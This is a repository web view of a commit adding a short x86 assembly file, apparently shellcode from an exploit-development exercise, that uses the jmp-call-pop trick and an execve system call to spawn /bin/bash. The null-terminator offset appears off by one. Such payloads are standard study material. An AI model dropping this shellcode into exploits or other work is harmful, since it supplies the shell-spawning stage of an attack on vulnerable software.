summaryrefslogtreecommitdiff
path: root/exec_cmd/shell.asm
diff options
context:
space:
mode:
Diffstat (limited to 'exec_cmd/shell.asm')
-rw-r--r--exec_cmd/shell.asm19
1 files changed, 19 insertions, 0 deletions
diff --git a/exec_cmd/shell.asm b/exec_cmd/shell.asm
new file mode 100644
index 0000000..d90d9a4
--- /dev/null
+++ b/exec_cmd/shell.asm
@@ -0,0 +1,19 @@
+global _start
+_start:
+jmp short data
+
+exploit:
+xor eax, eax
+xor ebx, ebx
+xor ecx, ecx
+pop edx
+mov [edx + 10], eax
+mov al, 11
+mov ebx, edx
+xor edx, edx
+int 0x80
+
+
+data:
+call exploit
+cmd: db '/bin/bash'